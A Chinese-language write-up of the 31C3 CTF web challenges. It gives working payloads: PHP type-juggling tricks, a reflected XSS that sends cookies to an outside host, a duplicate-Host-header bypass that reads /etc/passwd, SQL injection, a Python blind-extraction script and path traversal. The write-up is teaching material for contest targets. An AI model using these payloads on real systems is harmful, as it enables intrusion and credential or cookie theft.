31C3 CTF web關writeup
0x00 背景
31c3 CTF 還是很人性化的,比賽結束了之後還可以玩。看題解做出了當時不會做的題目,寫了一個writeup。
英文的題解可以看這裡https://github.com/ctfs/write-ups/tree/master/31c3-ctf-2014/web
0x01 pCRAPp
PHP is nasty crappy sometimes, just pwn it http://188.40.18.69/
這題需要好多php技巧組合起來。過關需要這樣提交。
http://188.40.18.69/pCRAPp.php?a={%22a1%22:%221337a%22,%22a2%22:[[1],1,2,3,0]}&b=0001&c[0]=0031c3&c[1][]=1111&d=%00
逐步分析一下每個知識點,其實很多技巧在/tips/?id=4483這篇文章有講到。
這裡用到了PHP弱型別的一個特性,當一個整形和一個其他型別行比較的時候,會先把其他型別intval再比。
#!php
is_numeric(@$a["a1"])?die("nope"):NULL;
if(@$a["a1"]){
($a["a1"]>1336)?$v1=1:NULL;
}
這裡也利用了相同的原理,array_search 會使用'ctf'和array中的每個值作比較,而且intval('ctf')==0.
#!php
if(is_array(@$a["a2"])){
if(count($a["a2"])!==5 OR !is_array($a["a2"][0])) die("nope");
$pos = array_search("ctf", $a["a2"]);
$pos===false?die("nope"):NULL;
foreach($a["a2"] as $key=>$val){
$val==="ctf"?die("nope"):NULL;
}
$v2=1;
}
這裡用到了一個BUG,http://blog.51yip.com/php/934.html。 在windows下 1.1.1 這種構造也會報錯。
#!php
if(preg_match("/^([0-9]+\.?[0-9]+)+$/",@$_GET['b'])){
$b=json_decode(@$_GET['b']);
if($var = $b === NULL){
($var===true)?$v3=1:NULL;
}
}
這裡用到的技巧是,array和string進行strcmp比較的時候會返回一個null,%00可以截斷eregi
#!php
$c=@$_GET['c'];
$d=@$_GET['d'];
if(@$c[1]){
if(!strcmp($c[1],$d) && $c[1]!==$d){
eregi("3|1|c",$d.$c[0])?die("nope"):NULL;
strpos(($c[0].$d), "31c3")?$v4=1:NULL;
}
}
if($v1 && $v2 && $v3 && $v4){
include "flag.php";
echo $flag;
}
0x02 Page Builder
These guys have ripped off our designs and using them in their web pages builder! We’d Haxx them, don’t worry we’ll give you decent points for it
這一題分為兩步,第一步構造一個報錯頁面。報錯頁面中會顯示的filename沒有escape。
如下構造引數
filename=%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E.php&title=aaa&style=style1&content=aaa
會形成一個反射性的XSS
http://188.40.18.76/output/e53a4123da9c71138c0daa360b0d89ab05ced8b8/<img src=x onerror=alert(1)>.php
我們可以構造一個偷cookie的連線
http://188.40.18.76/output/e53a4123da9c71138c0daa360b0d89ab05ced8b8/<svg onload=eval(document.location.hash.slice(1))>.php#document.location='http://lanantest.sinaapp.com/?'+document.cookie
第二步把這個XSS提交到,Contact Us,就可以偷到cookie了,可以看到Flag
0x03 HTTP
Check out our cool webserver. It is really fast because it is implemented in C. For security we use the versatility of Ruby.
Get the source at:
http.tar.bz2 Some example sites hosted with our webserver:
http://works.90.31c3ctf.aachen.ccc.de/works.html
http://31c3ctf.90.31c3ctf.aachen.ccc.de/announcements.html
給出了一個簡單的webserver,首先看一下原始碼。
run.sh 中可以看到資料包先經過,fw.rb 再進入server_file.c 進行處理。
#!bash
exec socat "TCP-LISTEN:80,reuseaddr=1,fork" "EXEC:./fw.rb simple ./serve_file,su=nobody,nofork" 2> >(tee -a ../www.log)
看到 server_file.c 中,會讀取 host目錄下的path檔案,並返回,首先想到任意檔案讀取。
#!c
if (chdir(host) == -1) {
goto _404;
}
int fd= open(path, O_RDONLY);
if (fd == -1) {
goto _404;
}
struct stat stat;
if (fstat(fd, &stat) == -1) {
goto _404;
}
const char *file= mmap(NULL, stat.st_size, PROT_READ, MAP_SHARED, fd, 0);
if (file == NULL) {
goto _404;
}
close(fd);
但是直接這樣傳送請求會被fw.rb forbidden。
[email protected]:~# curl http://works.90.31c3ctf.aachen.ccc.de/passwd -H 'Host: /etc/'
Forbidden
再看一下fw.rb的邏輯會獲取最後一次出現的Host
#!ruby
def parse_headers(line_reader)
line_reader.collect do |line|
[$1, $2] if line=~ /\A([^:]*): *(.*)\z/
end.compact.inject({}) { |h, x| h[x[0]]= x[1]; h }
end
serve_file會獲取第一次出現的Host
#!c
for (;;) {
if (!read_line(buffer, &buf_size)) {
goto invalid;
}
if (*buffer == '\r') {
goto invalid;
}
if (strncmp(buffer, "Host: ", sizeof("Host: ")-1) == 0) {
break;
}
char *eol= strchr(buffer, '\r');
buf_size-= eol-buffer-2;
buffer= eol+2;
}
這樣我們就可以構造兩個Host來繞過fw.rb了。
[email protected]:~# curl http://works.90.31c3ctf.aachen.ccc.de/passwd -H 'Host: /etc/' -H 'Host:
works.90.31c3ctf.aachen.ccc.de'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
syslog:x:100:103::/home/syslog:/bin/false
messagebus:x:101:105::/var/run/dbus:/bin/false
uuidd:x:102:107::/run/uuidd:/bin/false
landscape:x:103:110::/var/lib/landscape:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
user:x:1000:1000:user,,,:/home/user:/bin/bash
flag:x:1001:1001:31C3_b45fa9e4d5969e3c524bdcde15f84125:/home/flag:
0x04 5CHAN
5CHAN? Never heard of this image board, but they have exactly what we need. The picture we’re looking
for is not for public, so can you get it?
http://188.40.18.89/
首先訪問一下http://188.40.18.89/robots.txt,會發現一個backup的目錄,下載下來得到原始碼。
看下程式碼很容易發現一個sql注入漏洞,構造如下的語句,就可以的到Flag
http://188.40.18.89/?page=pic&id=9 union select * from pictures where id=9 -- a
0x05 Devilish
It’s some devilish community public portal, we’re pretty sure there’s something else out there, a private portal maby, we’d like to know the secret behind it.
http://188.40.18.70/
首先找到一個SQl注入當做突破口。
http://188.40.18.70/PROFILE/54\/KiTTyKiTTy
在頁面的註釋裡面可以找到具體執行的SQL語句
<!--SELECT * FROM users WHERE id_user='54\' AND Us3rN4m3='KiTTyKiTTy'-->
注入點過濾了很多東西,經過嘗試XML報錯的方式是可以利用的。
http://188.40.18.70/PROFILE/56\/-extractvalue(1,concat(0x5c,(select%09Us3rN4m3%09from%09users%09limit%091)))--%09
因為information_schema 被過濾了,我們需要用另外一種方式來猜出欄位名
http://188.40.18.70/PROFILE/54%5C/-%28select%09*%09from%09%28select%09*%09from%09users%09join%09users%09b%09using%28id_user,Us3rN4m3,Em4iL4dr3Szz,S4cR3dT3xT0Fm3,MyPh0N3NumB3RHAHA,Addr3Zz0F_tHi5_D3wD,CHAR_LOL%29%29c%29--%09
執行可得知密碼欄位為P4sWW0rD_0F_M3_WTF,好變態 - -!
報錯出密碼,這裡有一個比較坑的地方就是因為報錯資訊長度有限制的關係,這裡並不會顯示全部的密碼。
http://188.40.18.70/PROFILE/56\/-extractvalue(1,concat(0x5c,(select%09P4sWW0rD_0F_M3_WTF%09from%09users%09limit%091)))--%09
我們可以使用locate暴力猜出剩餘的密碼。 寫了一個比較渣的指令碼
#!python
import requests
import string
charset = string.ascii_letters + string.digits
print charset
if __name__=='__main__':
ipass = 'sd654egezjniufsdqc89q7d65azd123'
print ipass.encode('hex')
while True:
for i in charset:
t = ipass + i
r = requests.get('http://188.40.18.70/PROFILE/56\/-extractvalue(1,concat(0x5c,(select%09locate(0x'+t.encode('hex')+',P4sWW0rD_0F_M3_WTF)%09from%09users%09limit%091)))--%09')
if r.text.find('XPATH syntax error: \'\1\'')!=-1:
print 'Got it!'+i
ipass = t
print ipass
else:
print 'No!'+i
跑出完整的出密碼
Dracula / ZD456ddssd65456lksndoiNzd654sdsd654zd65s4d56489zdz
登陸之後又一個比較明顯的檔案遍歷,可以看到網站還有一個隱藏的目錄。
http://188.40.18.70/ACCESS?action=browse&dir=../../../../../var/www/html/__WebSiteFuckingPrivateContentNotForPublic666
訪問裡面的頁面可以得到原始碼
[email protected]:~# curl http://188.40.18.70/__WebSiteFuckingPrivateContentNotForPublic666/LOGIN_HEAD
#!php
<?php
if(@$_SESSION['user']){header("location: ".$LINK);die();}
if(isset($_POST['user'])){
if(mysqli_num_rows(mysqli_query($con,"SELECT * FROM users WHERE Us3rN4m3='".mysqli_real_escape_string($con,@$_POST['user'])."' AND P4sWW0rD_0F_M3_WTF='".mysqli_real_escape_string($con,@$_POST['pass'])."' "))>0){
$_SESSION=$_POST;
header("location: ".$LINK);die();
}else{
$Error=1;
}
}
?>
但是Flag並不在裡面,而是是藏在另外一個web服務之中。在這個目錄下可以看到。
http://188.40.18.70/ACCESS?action=browse&dir=../../../../../../../home/devilish.local/__WebSiteFuckingPrivateContentNotForPublic666%2b666
這個server中的INDEX檔案輸出了Flag
#!html
[email protected]:~# curl "http://188.40.18.70/__WebSiteFuckingPrivateContentNotForPublic666%2b666/INDEX" -H "Host: devilish.local"
<br/>
This is the private Portal of us<br/><br/>
If you are accessing this page this means you are one of the very few exclusive members who are allowed to come in here!<br/>
<br/>
<?php echo($logged?"Here's your secret ".$flag."<br/><br/>":"Login to access the secret<br/><br/>")?>
<span class="styleX">s</span>
研究一下程式碼可以發現,這兩個系統其實使用同一套session,我們可以先在預設的系統登入,這裡要在POST資料裡提交is_ExclusiveMember=1,因為$_SESSION=$_POST,會被同步到Session之中。
再去訪問devilish.local,即可得到flag
相關文章
- 0ctf writeup2020-08-19
- 32C3 CTF 兩個Web題目的Writeup2020-08-19Web
- 【bugku_writeup】web24 前女友 來源:山科大ctf2020-12-31Web
- CTF-safer-than-rot13-writeup2021-07-20
- CTF——WriteUp(2020招新)2020-11-04
- HCTF writeup(web)2020-08-19Web
- 【阿菜Writeup】Security Innovation Smart Contract CTF2021-08-26
- 阿里雲CTF逆向題“尤拉”詳細Writeup2024-04-30阿里
- guestbook(hackme web部分writeup)2020-10-31Web
- hackyou2014 CTF web關卡通關攻略2020-08-19Web
- CTF—web基礎2024-08-28Web
- web_ping的writeup2018-08-19Web
- CTFSHOW-WEB入門 writeup2020-09-29Web
- Pwnium CTF2014 – MatterOfCombination writeup2014-08-02TF2
- [原創]看雪CTF2017第二題lelfeiCM的writeup2019-02-25TF2
- Web_Bugku_WriteUp | 變數12024-03-17Web變數
- xctf攻防世界—Web新手練習區 writeup2020-12-22Web
- CTF-BugKu-WEB-1-202020-09-18Web
- CTF-BugKu-WEB-35-412020-09-19Web
- CTF萌新入坑指南(web篇)2020-09-27Web
- 第一屆BMZCTF公開賽-WEB-Writeup2020-12-30Web
- [原創]看雪CTF2017第五題 獨行孤客CrackMe的writeup2017-11-07TF2
- Tron_CTF2024新生賽 WEB2024-05-30TF2Web
- 0ctf_2016 _Web_unserialize2020-07-09Web
- docker基於lamp的ctf web題目容器2021-09-09DockerLAMPWeb
- CTF | Web安全 Part1:基礎知識2018-08-17Web
- 記一道國際賽CTF web題2023-05-04Web
- SSCTF Writeup2020-08-19
- BCTF Writeup2020-08-19
- JCTF Writeup2020-08-19
- CTF web安全45天入門學習路線2022-01-23Web
- [CTF/Web] PHP 反序列化學習筆記2023-11-19WebPHP筆記
- wargame narnia writeup2020-08-19GAM
- 太湖杯writeup2020-11-22
- Web_BUUCTF_WriteUp | [強網杯 2019]隨便注2024-07-12Web
- CTF入門學習2->Web基礎瞭解2021-11-19Web
- CTF入門學習3->Web通訊基礎2021-11-19Web
- 360hackgame writeup2020-08-19GAM